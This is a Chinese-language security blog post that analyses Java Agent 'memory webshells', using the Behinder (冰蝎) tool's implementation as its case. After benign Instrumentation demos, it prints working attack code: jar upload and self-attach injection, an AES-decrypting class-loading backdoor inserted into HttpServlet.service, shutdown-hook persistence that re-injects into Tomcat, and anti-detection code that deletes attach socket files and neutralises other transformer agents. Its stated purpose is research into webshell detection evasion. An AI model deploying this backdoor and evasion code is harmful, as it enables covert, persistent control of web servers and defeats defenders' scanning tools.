JavaAgent内存马研究

前言

​ 最近在研究webshell免杀,发现针对很多类型的内存马已经有了比较成型的检测方法,当然大多数内存马的查杀方式也是基于javaAgent,但是rebeyond前辈在文章Java内存攻击技术漫谈中给出了绕过检测工具的方法,理论上这种绕过会导致现有的基于Agent检测的工具无法使用,所以值得我们深入学习。

Java Agent

​ 网上关于Java Agent的文章已经很多了,下面引用一段关于Java Agent的介绍。

java Instrumentation指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序。这种监测和协助包括但不限于获取JVM运行时状态,替换和修改类定义等。简单一句话概括下:Java Instrumentation可以在JVM启动后,动态修改已加载或者未加载的类,包括类的属性、方法。

​ 一般有两种方式运行Agent,即启动时运行时

启动时

​ 启动Java程序的时候添加-javaagent(Instrumentation API实现方式)-agentpath/-agentlib(JVMTI的实现方式)参数。

如何实现?

  • jar包中的MANIFEST.MF 文件必须指定 Premain-Class 项
  • Premain-Class 指定的那个类必须实现 premain() 方法

premain方法会在执行main方法前调用,在运行main方法前会去加载-javaagent指定的jar包里面的Premain-Class类中的premain方法

image-20211018100416393

instrument类

​ 提供允许 Java 编程语言代理监测运行在 JVM 上的程序的服务。监测的机制是对方法的字节码的修改,在启动 JVM 时,通过指示代理类 及其代理选项 启动一个代理程序。

Instrumentation接口

Instrumentation提供了用来监测运行在JVM中的Java API。

  • addTransformer/removeTransformer 添加或删除ClassFileTransformer
  • getAllLoadedClasses获取所有JVM加载的类
  • redefineClasses重新定义已经加载类的字节码
  • setNativeMethodPrefix动态设置JNI前缀,可以实现Hook native方法。
  • retransformClasses重新加载已经被JVM加载过的类的字节码

ClassFileTransformer接口

ClassFileTransformer是一个转换类文件的代理接口,我们可以在获取到Instrumentation对象后通过addTransformer方法添加自定义类文件转换器。

工作原理

​ 当我们使用了addTransformer注册了一个我们自定义的TransformerJava Agent,当有新的类被JVM加载时JVM会自动回调用我们自定义的Transformer类的transform方法,传入该类的transform信息(类名、类加载器、类字节码等),我们可以根据传入的类信息决定是否需要修改类字节码,修改完字节码后我们将新的类字节码返回给JVMJVM会验证类和相应的修改是否合法,如果符合类加载要求JVM会加载我们修改后的类字节码。

示例

​ 下面我们举个栗子,使用Java Agent 完成对类的内容的修改。

  • 创建User类,内容如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class User {
public String name;

public User(String name) {
this.name = name;
}

@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
'}';
}
}

  • 创建FirstAgent类,并重写premain方法
1
2
3
4
5
6
7
8
import java.lang.instrument.Instrumentation;

public class FirstAgent {
public static void premain(String agentArgs, Instrumentation inst){
System.out.println("FirstAgent is Start.");
inst.addTransformer(new FirstTransformer());
}
}
  • 创建FirstTransformer类,重写transform方法,通过javasist技术对User类添加sex属性并对toString方法修改。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import javassist.*;

import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class FirstTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
//只修改自定义的User类
if(className.equals("User")){
try {
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(loader));
CtClass clazz = classPool.makeClass(new ByteArrayInputStream(classfileBuffer), false);
//定义一个String类型的sex属性
CtField param = new CtField(classPool.get("java.lang.String"), "sex", clazz);
//设置属性为private
param.setModifiers(Modifier.PRIVATE);
//将属性加到类中,并设置属性的默认值为male
clazz.addField(param, CtField.Initializer.constant("male"));
//为刚才的sex属性添加GET SET 方法
clazz.addMethod(CtNewMethod.setter("setSex", param));
clazz.addMethod(CtNewMethod.getter("getSex", param));
//重写toString方法,将sex属性加入返回结果中。
CtMethod method = clazz.getDeclaredMethod("toString");
method.setBody("return \"User{\" +\n" +
" \"name='\" + name + '\\',' +\n" +
" \"sex='\" + sex + '\\'' +\n" +
" '}';");
return clazz.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
}
  • 编写测试类,创建User对象并输出
1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class test {
public static void main(String[] args) {
User user = new User("aaa");
System.out.println(JSON.toJSON(user));
System.out.println(user.toString());
}
}
  • pom.xml中对manifest参数设置
1
2
3
4
5
6
7
8
9
10
11
12
13
<artifactId>maven-jar-plugin</artifactId>
<version>3.1.2</version>
<configuration>
<archive>
<manifestEntries>
<Premain-Class>FirstAgent</Premain-Class>
<Boot-Class-Path>javaagent.jar</Boot-Class-Path>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
<Can-Set-Native-Method-Prefix>false</Can-Set-Native-Method-Prefix>
</manifestEntries>
</archive>
</configuration>
  • 最后在启动测试类时加上-javaagent:D:\javaagent-1.0-SNAPSHOT.jar,可以看到我们的Agent已经生效。

image-20211017124017908

运行时

​ 上面虽然已经了解了启动时的Agent技术,但从我们利用来讲,肯定不能为了种植内存马停了Tomcat服务再启动吧?所以运行时的Agent技术实现才是我们了解的重点。

​ 在JDK 1.6后,增加了agentmain方法,可以在main方法执行后执行。

1
2
public static void agentmain (String agentArgs, Instrumentation inst)
public static void agentmain (String agentArgs)

​ 运行时的Agent实现主要依靠VirtualMachineVirtualMachineDescriptor

VirtualMachine

VirtualMachine可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。

  • Attach:允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上
  • loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。
  • Detach:解除Attach

VirtualMachineDescriptor

VirtualMachineDescriptor是用于描述 Java 虚拟机的容器类。它封装了一个标识目标虚拟机的标识符,以及一个AttachProvider在尝试连接到虚拟机时应该使用的引用。标识符依赖于实现,但通常是进程标识符(或 pid)环境,其中每个 Java 虚拟机在其自己的操作系统进程中运行。

VirtualMachineDescriptor实例通常是通过调用VirtualMachine.list() 方法创建的。这将返回描述所有已安装 Java 虚拟机的完整描述符列表attach providers

工作原理

VirtualMachine类的attach(pid)方法,可以attach到一个运行中的java进程上,之后便可以通过loadAgent(agentJarPath)来将agent的jar包注入到对应的进程,然后对应的进程会调用agentmain方法。

image-20211018100507130

示例

​ 下面演示使用agentmain运行时修改内容,示例的大部分内容和启动时的相同,我只列出需要更改的部分。

  • testAttachAgent,当检测到类名为test时则加载Agent进行修改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.io.IOException;
import java.util.List;

import com.sun.tools.attach.*;


public class testAttachAgent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//获取当前系统中所有 运行中的 虚拟机
System.out.println("running JVM start ");
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) {
//如果虚拟机的名称为 xxx 则 该虚拟机为目标虚拟机,获取该虚拟机的 pid
//然后加载 agent.jar 发送给该虚拟机
System.out.println(vmd.displayName());
if (vmd.displayName().endsWith("test")) {
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent("C:\\Users\\admin\\Desktop\\javaagent-1.0-SNAPSHOT.jar");
virtualMachine.detach();
}
}
}

}
  • 修改FirstAgent
1
2
3
4
5
6
public class FirstAgent {

public static void agentmain(String agentArgs, Instrumentation instrumentation) {
instrumentation.addTransformer(new FirstTransformer(), true);
}
}
  • 修改pom.xml
1
2
3
4
5
6
7
8
9
<archive>
<manifestEntries>
<Agent-Class>FirstAgent</Agent-Class>
<Boot-Class-Path>javaagent.jar</Boot-Class-Path>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
<Can-Set-Native-Method-Prefix>false</Can-Set-Native-Method-Prefix>
</manifestEntries>
</archive>
  • 最后以调试运行test程序,再运行testAttachAgent,当test中再次触发类加载,将触发transform方法。

image-20211018144019281

image-20211018144138708

如何修改已经加载的类?

​ 通过上面的分析,即使是运行时Attach,也只有在触发类加载操作时才会调用我们的transform,如果是已经加载的类,我们如果通过Java Agent进行修改呢?

​ 对于已加载的类,需要调用retransformClass函数,然后经由redefineClasses函数,在读取已加载的字节码文件后,重新加载指定类的字节码。

  • 通过retransformClasses重新加载字节码
1
2
3
4
5
6
7
8
9
10
11
12
13
public static void agentmain(String agentArgs, Instrumentation instrumentation) {
instrumentation.addTransformer(new FirstTransformer(), true);
Class[] allLoadedClasses = instrumentation.getAllLoadedClasses();
for (Class loadedClass : allLoadedClasses) {
if(loadedClass.getName()=="User"){
try {
instrumentation.retransformClasses(loadedClass);
} catch (UnmodifiableClassException e) {
e.printStackTrace();
}
}
}
}

​ 但是这样会报一个错误,从字面意思上是不支持在重新加载时添加或者删除字段

image-20211018163805780

​ 通过查阅资料,使用redefineClasses时有一些限制

  1. 继承相同的父类

  2. 实现相同的接口

  3. 字段数和字段名要一致

  4. 新增或删除的方法必须是private static/final修饰的

  5. 可以修改方法实现

    所以我们要修改下transform方法的实现,只对toString方法进行修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class FirstTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
//只修改自定义的User类
if(className.equals("User")){
try {
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(loader));
CtClass clazz = classPool.makeClass(new ByteArrayInputStream(classfileBuffer), false);
CtMethod method = clazz.getDeclaredMethod("toString");
method.setBody("return \"test666\";");
return clazz.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
}

image-20211018164647941

冰蝎Agent内存马实现分析

​ 上面我们了解了如何通过Java Agent在运行时修改方法内容,下面我们分析下冰蝎内存马的实现

内存马植入流程分析

​ 冰蝎内存马植入的部分主要在injectMemShell中实现,injectMemShell做了如下操作:

  • 获取到当前要注入的shell的主机类型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
		//获取当前shell的ID并连接
JSONObject shellEntity = this.shellManager.findShell(shellID);
ShellService shellService = new ShellService(shellEntity);
shellService.doConnect();
//获取操作系统的信息
String osInfo = shellEntity.getString("os");
int osType;
String libPath;
if (osInfo == null || osInfo.equals("")) {
osType = (new SecureRandom()).nextInt(3000);
libPath = Utils.getRandomString(osType);
JSONObject basicInfoObj = new JSONObject(shellService.getBasicInfo(libPath));
osInfo = (new String(Base64.decode(basicInfoObj.getString("osInfo")), "UTF-8")).toLowerCase();
}
//根据操作系统得到osType,windows则为0
osType = Utils.getOSType(osInfo);
  • 根据主机的类型上传不同的jar包到temp目录下,当osType为0表示系统为windows,上传tools_0.jar
1
2
3
4
5
6
7
8
9
10
11
libPath = Utils.getRandomString(6);
if (osType == Constants.OS_TYPE_WINDOWS) {
libPath = "c:/windows/temp/" + libPath;
} else {
libPath = "/tmp/" + libPath;
}

shellService.uploadFile(libPath, Utils.getResourceData("net/rebeyond/behinder/resource/tools/tools_" + osType + ".jar"), true);

shellService.injectMemShell(type, libPath, path, Utils.getKey(shellEntity.getString("password")), isAntiAgent);

  • loadjar中加载Loader类,将传上去的jar通过Url加载
1
shellService.loadJar(libPath);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public JSONObject loadJar(String libPath) throws Exception {
Map params = new LinkedHashMap();
params.put("libPath", libPath);
//获取Loader类字节码并加密后返回
byte[] data = Utils.getData(this.currentKey, this.encryptType, "Loader", params, this.currentType);
//发送请求包获取返回结果
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
byte[] resData = (byte[])((byte[])resultObj.get("data"));
//解密返回包获取信息
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
Iterator var8 = result.keySet().iterator();
while(var8.hasNext()) {
String key = (String)var8.next();
result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8")));
}

return result;
}

Loaderequals方法主要代码实现如下,通过URLClassLoader将上传的jar包加载到内存中

1
2
3
4
5
6
7
8
9
10
11
12
   public boolean equals(Object obj) {
...
URL url = (new File(libPath)).toURI().toURL();
URLClassLoader urlClassLoader = (URLClassLoader)ClassLoader.getSystemClassLoader();
Method add = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
add.setAccessible(true);
add.invoke(urlClassLoader, url);
result.put("status", "success");
...

return true;
}
  • injectMemShell中加载了MemShell,而MemShell中完成了内存马加载的核心逻辑。
1
shellService.injectMemShell(type, libPath, path, Utils.getKey(shellEntity.getString("password")), isAntiAgent);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public JSONObject injectMemShell(String type, String libPath, String path, String password, boolean isAntiAgent) throws Exception {
Map params = new LinkedHashMap();
params.put("type", type);
params.put("libPath", libPath);
params.put("path", path);
params.put("password", password);
params.put("antiAgent", isAntiAgent + "");
byte[] data = Utils.getData(this.currentKey, this.encryptType, "MemShell", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
Iterator var12 = result.keySet().iterator();

while(var12.hasNext()) {
String key = (String)var12.next();
result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8")));
}

return result;
}
  • MemShellequals方法中,首先设置了allowAttachSelf并调用了doAgentShell完成内存马种植。

为什么设置allowAttachSelf rebeyond前辈在Java内存攻击技术漫谈中讲过,在JDK9以上,jdk.attach.allowAttachSelf默认为false,也就是无法Attach,所以才需要设置为true。

1
2
3
4
5
6
7
8
9
10
11
12
public boolean equals(Object obj) {
...
System.setProperty("jdk.attach.allowAttachSelf", "true");
this.fillContext(obj);
if (type.equals("Agent")) {
try {
this.doAgentShell(Boolean.parseBoolean(antiAgent));
...

return true;
}

  • doAgentShell首先通过反射获取loadAgentattach方法并调用,如果是linux则删除生成的临时文件,最后删除上传的jar包。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 public void doAgentShell(boolean antiAgent) throws Exception {
try {
Class VirtualMachineCls = ClassLoader.getSystemClassLoader().loadClass("com.sun.tools.attach.VirtualMachine");
Method attachMethod = VirtualMachineCls.getDeclaredMethod("attach", String.class);
Method loadAgentMethod = VirtualMachineCls.getDeclaredMethod("loadAgent", String.class, String.class);
Object obj = attachMethod.invoke(VirtualMachineCls, getCurrentPID());
loadAgentMethod.invoke(obj, libPath, base64encode(path) + "|" + base64encode(password));
String osInfo = System.getProperty("os.name").toLowerCase();
if (osInfo.indexOf("windows") < 0 && osInfo.indexOf("winnt") < 0 && osInfo.indexOf("linux") >= 0 && antiAgent) {
String fileName = "/tmp/.java_pid" + getCurrentPID();
(new File(fileName)).delete();
}
...
} finally {
(new File(libPath)).delete();
}
}

Agent实现

​ 通过上面的分析我们已经了解了冰蝎Agent注入的流程,并且也了解到Agent的实现主要在tools_0.jar中。

​ 在MANIFEST.MF中,可以通过配置得到Agent-ClassMemShell

1
2
Agent-Class: net.rebeyond.behinder.payload.java.MemShell
Can-Redefine-Classes: true

agentmain方法中为注入内存马的逻辑

  • 获取所有已经加载的Class
1
Class<?>[] cLasses = inst.getAllLoadedClasses();
  • HttpServletservice方法需要的信息封装到Map中,这里应该是不同版本的Tomcat包名发生了改变,所以准备了javax.servletjakarta.servlet两个数据包。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Map<String, Map<String, Object>> targetClasses = new HashMap();
Map<String, Object> targetClassJavaxMap = new HashMap();
targetClassJavaxMap.put("methodName", "service");
List<String> paramJavaxClsStrList = new ArrayList();
paramJavaxClsStrList.add("javax.servlet.ServletRequest");
paramJavaxClsStrList.add("javax.servlet.ServletResponse");
targetClassJavaxMap.put("paramList", paramJavaxClsStrList);
targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
Map<String, Object> targetClassJakartaMap = new HashMap();
targetClassJakartaMap.put("methodName", "service");
List<String> paramJakartaClsStrList = new ArrayList();
paramJakartaClsStrList.add("jakarta.servlet.ServletRequest");
paramJakartaClsStrList.add("jakarta.servlet.ServletResponse");
targetClassJakartaMap.put("paramList", paramJakartaClsStrList);
targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap);
  • 下面是Agent实现的核心代码,判断已经加载的类是否为HttpServlet,如果是则从参数中获取pathkey,通过formatshellcode中的占位符替换。通过javasist技术将shellcode插入到HttpServlet.service方法之前,最后通过redefineClasses重新触发类加载。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
Class[] var28 = cLasses;
int var13 = cLasses.length;
for(int var14 = 0; var14 < var13; ++var14) {
Class<?> cls = var28[var14];
//判断类名是否为HttpServlet
if (targetClasses.keySet().contains(cls.getName())) {
String targetClassName = cls.getName();
try {
//获取path和key,并对shellcode中的占位符替换
String path = new String(base64decode(args.split("\\|")[0]));
String key = new String(base64decode(args.split("\\|")[1]));
shellCode = String.format(shellCode, path, key);
//判断报名是否为jakarta,如果是则对shellcode中的包名替换
if (targetClassName.equals("jakarta.servlet.http.HttpServlet")) {
shellCode = shellCode.replace("javax.servlet", "jakarta.servlet");
}
//javasist修改HttpServlet类
ClassClassPath classPath = new ClassClassPath(cls);
cPool.insertClassPath(classPath);
//导入包
cPool.importPackage("java.lang.reflect.Method");
cPool.importPackage("javax.crypto.Cipher");
//获取参数列表
List<CtClass> paramClsList = new ArrayList();
Iterator var21 = ((List)((Map)targetClasses.get(targetClassName)).get("paramList")).iterator();

String methodName;
while(var21.hasNext()) {
methodName = (String)var21.next();
paramClsList.add(cPool.get(methodName));
}
CtClass cClass = cPool.get(targetClassName);
//获取方法名
methodName = ((Map)targetClasses.get(targetClassName)).get("methodName").toString();
CtMethod cMethod = cClass.getDeclaredMethod(methodName, (CtClass[])paramClsList.toArray(new CtClass[paramClsList.size()]));
//在方法前插入代码
cMethod.insertBefore(shellCode);
cClass.detach();
data = cClass.toBytecode();
//重新加载Class
inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(cls, data)});
} catch (Exception var24) {
var24.printStackTrace();
} catch (Error var25) {
var25.printStackTrace();
}
}
}
  • shellcode中的内容如下,也就是在执行前首先判断URL是否为内存马的路径,如果是则执行冰蝎马的逻辑,否则执行正常的HttpServlet的逻辑。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;
javax.servlet.http.HttpSession session = request.getSession();
String pathPattern=\"%s\";
if (request.getRequestURI().matches(pathPattern))
{
java.util.Map obj=new java.util.HashMap();
obj.put(\"request\",request);
obj.put(\"response\",response);
obj.put(\"session\",session);
ClassLoader loader=this.getClass().getClassLoader();
if (request.getMethod().equals(\"POST\"))
{
try
{
String k=\"%s\";
session.putValue(\"u\",k);
java.lang.ClassLoader systemLoader=java.lang.ClassLoader.getSystemClassLoader();
Class cipherCls=systemLoader.loadClass(\"javax.crypto.Cipher\");

Object c=cipherCls.getDeclaredMethod(\"getInstance\",new Class[]{String.class}).invoke((java.lang.Object)cipherCls,new Object[]{\"AES\"});
Object keyObj=systemLoader.loadClass(\"javax.crypto.spec.SecretKeySpec\").getDeclaredConstructor(new Class[]{byte[].class,String.class}).newInstance(new Object[]{k.getBytes(),\"AES\"});;

java.lang.reflect.Method initMethod=cipherCls.getDeclaredMethod(\"init\",new Class[]{int.class,systemLoader.loadClass(\"java.security.Key\")});
initMethod.invoke(c,new Object[]{new Integer(2),keyObj});

java.lang.reflect.Method doFinalMethod=cipherCls.getDeclaredMethod(\"doFinal\",new Class[]{byte[].class});
byte[] requestBody=null;
try {
Class Base64 = loader.loadClass(\"sun.misc.BASE64Decoder\");
Object Decoder = Base64.newInstance();
requestBody=(byte[]) Decoder.getClass().getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
} catch (Exception ex)
{
Class Base64 = loader.loadClass(\"java.util.Base64\");
Object Decoder = Base64.getDeclaredMethod(\"getDecoder\",new Class[0]).invoke(null, new Object[0]);
requestBody=(byte[])Decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
}

byte[] buf=(byte[])doFinalMethod.invoke(c,new Object[]{requestBody});
java.lang.reflect.Method defineMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class});
defineMethod.setAccessible(true);
java.lang.reflect.Constructor constructor=java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});
constructor.setAccessible(true);
java.lang.ClassLoader cl=(java.lang.ClassLoader)constructor.newInstance(new Object[]{loader});
java.lang.Class c=(java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]{null,java.nio.ByteBuffer.wrap(buf),null});
c.newInstance().equals(obj);
}

catch(java.lang.Exception e)
{
e.printStackTrace();
}
catch(java.lang.Error error)
{
error.printStackTrace();
}
return;
}
}
";

​ 通过上面的分析,我们可以知道其实冰蝎的Agent内存马实现是修改了HttpServlet.service方法,HttpServlet是所有Servlet的直接或者间接的父类,在internalDoFilter.doFilter中会调用HttpServlet.service,再由这个方法转到其他Servletservice方法中完成处理。

持久化

​ 冰蝎的持久化部分在persist函数中实现,首先通过readInjectFilereadAgentFileinject.jaragent.jar读取到内存,在persist函数中写入到文件并通过startInject执行Inject.jar。这里的addShutdownHook是一个钩子,Hook了JVM关闭的事件,也就是说当JVM关闭时,会调用Run方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static void agentmain(String agentArgs, Instrumentation inst) {
...
try {
initLoad();
readInjectFile(currentPath);
readAgentFile(currentPath);
clear(currentPath);
} catch (Exception var8) {
}

persist();
}
public static void persist() {
try {
Thread t = new Thread() {
public void run() {
try {
Agent.writeFiles("inject.jar", Agent.injectFileBytes);
Agent.writeFiles("agent.jar", Agent.agentFileBytes);
Agent.startInject();
} catch (Exception var2) {
}

}
};
t.setName("shutdown Thread");
Runtime.getRuntime().addShutdownHook(t);
} catch (Throwable var1) {
}
}

startInject方法比较简单,通过命令执行Inject.jar

1
2
3
4
5
6
public static void startInject() throws Exception {
Thread.sleep(2000L);
String tempFolder = System.getProperty("java.io.tmpdir");
String cmd = "java -jar " + tempFolder + File.separator + "inject.jar " + password;
Runtime.getRuntime().exec(cmd);
}

Inject.jar则创建一个while循环,检测运行的JVM虚拟机是否为Tomcat,如果是则执行AttachloadAgent完成运行时的注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    public static void main(String[] args) throws Exception {
if (args.length != 1) {
System.out.println("Usage:java -jar inject.jar password");
} else {
...
while(true) {
while(true) {
try {
vmList = VirtualMachine.list();
if (vmList.size() > 0) {
Iterator var8 = vmList.iterator();

while(var8.hasNext()) {
VirtualMachineDescriptor vmd = (VirtualMachineDescriptor)var8.next();
if (vmd.displayName().indexOf("catalina") >= 0) {
vm = VirtualMachine.attach(vmd);
System.out.println("[+]OK.i find a jvm.");
Thread.sleep(1000L);
if (vm != null) {
vm.loadAgent(agentFile, agentArgs);
System.out.println("[+]memeShell is injected.");
vm.detach();
return;
}
...
}

​ 通过分析实现我们不难看出,这种方法的实现是在关闭JVM是将Agent的代码写入到文件,并重新开启一个JAVA进程,如果在关闭Tomcat后结束了所有的JAVA进程比如说系统重启,那么这种方式的持久化显然就不行了。

防检测

rebeyond师傅在Java内存攻击技术漫谈中给出了在WindowsLinux平台下防止Attach的方法,Windows下将_JVM_EnqueueOperation@20JVM_EnqueueOperation NOP实现,由于我缺乏这方面的知识背景就不分析了。Linux下通过删除UNIX Domain Socket文件实现。

ZhouYu Agent内存马也实现了防检测的技术,主要通过检测被加载的类是否实现ClassFileTransformer接口,如果是则将该类的实现改为空。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
private boolean check0(String className, CtClass ctClass) throws Throwable {
CtClass[] interfaces = ctClass.getInterfaces();
if (interfaces != null) {
boolean flag = false;
for (CtClass anInterface : interfaces) {
//遇到其它的agent,直接干掉它,不让它加载
if (anInterface.getName().equals("java.lang.instrument.ClassFileTransformer")) {
System.out.println(String.format("[ZhouYu] 有新的agent: %s 加载,把它干掉!", className));
return true;
}
flag |= check0(className, anInterface);
if (flag) {
return flag;
}
}
}
return false;
}

private byte[] check(String className, ClassLoader loader, byte[] codeBytes) {
CtClass ctClass = null;
try {
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(loader));
ctClass = classPool.makeClass(new ByteArrayInputStream(codeBytes));
//check0返回true则将实现类修改为空
if (check0(className, ctClass)) {
return new byte[0];
}
} catch (Throwable e) {
e.printStackTrace();
} finally {
if (ctClass != null) {
ctClass.detach();
}
}
return codeBytes;
}

总结

​ 这篇文章主要是学习Agent及Agent内存马的实现记录,似乎如果真的在种植了Agent内存马并反检测后无法Attach上去检测,只有在Agent内存马打上去之前Attach才可以,这些对于那些云厂商来说应该是可以实现的,但是对普通的服务器来说一般不会在启动时就先启动java Agent检测。

参考文章